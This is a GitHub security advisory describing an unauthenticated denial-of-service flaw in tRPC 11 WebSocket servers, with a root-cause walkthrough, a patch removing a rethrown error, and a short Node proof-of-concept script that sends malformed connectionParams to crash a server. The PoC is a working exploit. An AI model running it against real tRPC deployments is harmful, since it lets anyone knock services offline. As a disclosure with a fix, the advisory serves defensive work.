Headline
GHSA-pj3v-9cm8-gvj8: tRPC 11 WebSocket DoS Vulnerability
Summary
An unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.
Details
Any tRPC 11 server with WebSocket enabled with a createContext method set is vulnerable. Here is an example:
https://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05
I have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction
The connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33
This is called during WebSocket connection setup inside createCtxPromise() here:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435
createCtxPromise has handling to catch any errors and pass them up to the opts.onError handler:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173
However the error handler then rethrows the error:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171
Since this is all triggered from the WebSocket message event there is no higher level error handling so this causes an uncaught exception and crashes the server process.
This means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn’t matter if the server doesn’t make user of connectionParams, the connectionParams logic can be initiated by the client.
To fix this vulnerability tRPC should not rethrow the error after it’s be handled. This patch fixes the vulnerability:
From 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001
From: Luke Childs <lukechilds123@gmail.com>
Date: Sun, 20 Apr 2025 13:27:10 +0700
Subject: [PATCH] Don't throw already handled error
This error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.
---
packages/server/src/adapters/ws.ts | 2 --
1 file changed, 2 deletions(-)
diff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts
index ad869affd..5a578b5cb 100644
--- a/packages/server/src/adapters/ws.ts
+++ b/packages/server/src/adapters/ws.ts
@@ -167,8 +167,6 @@ export function getWSConnectionHandler<TRouter extends AnyRouter>(
(globalThis.setImmediate ?? globalThis.setTimeout)(() => {
client.close();
});
-
- throw error;
});
}
--
2.48.1
PoC
This script will crash the target tRPC 11 server if WebSockets are enabled:
#!/usr/bin/env node
const TARGET = 'ws://localhost:3000'
// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation
const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({
method: "connectionParams",
data: { invalidConnectionParams: null },
});
// Open a connection to the target
const target = `${TARGET}?connectionParams=1`;
console.log(`Opening a WebSocket to ${target}`);
const socket = new WebSocket(target);
// Wait for the connection to be established
socket.addEventListener("open", () => {
console.log("WebSocket established!");
// Sends a message to the WebSocket server.
console.log(`Sending malicious connectionParams`);
socket.send(MALICIOUS_CONNECTION_PARAMS);
console.log(`Done!`);
});
// Handle errors
socket.addEventListener("error", () => console.log("Error opening WebSocket"));
Complete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction
Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.